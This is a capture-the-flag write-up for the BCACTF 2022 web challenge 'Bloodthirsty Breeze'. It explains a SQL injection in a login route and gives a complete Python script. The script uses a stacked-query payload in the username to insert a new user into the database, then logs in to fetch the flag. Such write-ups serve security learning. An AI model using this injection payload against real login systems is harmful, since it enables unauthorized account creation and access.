BCACTF 3.0 2022

Bloodthirsty Breeze (175 points; 32 solves)

The challenge gives us the hint: Take a close at those queries. When downloading and unzipping the source code, we see the following items:

The src folder doesn’t contain anything special besides (mostly) client-sided functionality. The api folder is what contains most of the important server-side stuff. index.ts is what contains the most information, so that’s what we’re going to be focusing on.

Identifying the vulnerability

In order to get the flag, we’re going to need to be able to successfully query /api/menu as a logged in user. Which would be easy, if it wasn’t for the fact that the site’s signup page was “under construction”.

There is another route present: /api/login. When inspecting that function, the vulnerability becomes glaringly obvious.

So, textbook SQL injection if we supply a username/password that doesn’t match? That’s great! But, what can we do here, exactly?

Simple enough. Checking if we’re logged in is really just contacting the same SQL server we now have access over, and checking if an entry exists with our username and hashed password. Perhaps we can overwrite this statement and, using the semicolon to signify the end of one statement, make the query execute two commands: one to add some garbage data to failed_logins, and another to manually sign up a user with the credentials of our choosing into the database.

If this is successful, we will then be able to login as that user, and access /api/menu as an authenticated user, thus granting us the flag.


import requests, os, json
from hashlib import md5
from base64 import b64encode

#when we fail a login attempt, an SQL vulnerability is present, with our username and password being directly imported into the DB query
#knowing this, we will be able to stack on an additional query to log ourselves into the database manually and add an entry for us

#define variables
url = "http://webp.bcactf.com:49158"
plaintext_pwd = os.urandom(5).hex()
username = os.urandom(5).hex()

#passwords are hashed with MD5, so we will generate a hashed password to create a user with
hashed_pwd = b64encode(md5(plaintext_pwd.encode("ascii")).digest()).decode("ascii")
base_headers = {"Content-Type": "application/json"}
session = requests.session()

#basic login lambda function
login = lambda user,passwd: session.post(f"{url}/api/login", data=f'{{"username": "{user}", "password": "{passwd}"}}', headers=base_headers)

#generate a failed login attempt with the goal of getting SQL injection
#the payload will be for the username; the only thing we have control over
payload = f"', '11'); INSERT INTO users VALUES ('{username}', '{hashed_pwd}');--"
print(f"Payload: {payload}")
login(payload, "irrelevant11")

#login using the credentials, then get the flag from the result
login(username, plaintext_pwd)
for i,entry in enumerate(json.loads(session.get(f"{url}/api/menu").text)):
    print(f"Item {i}: {entry['name']}")
    print(f"Description: {entry['description']}")


Leave a Reply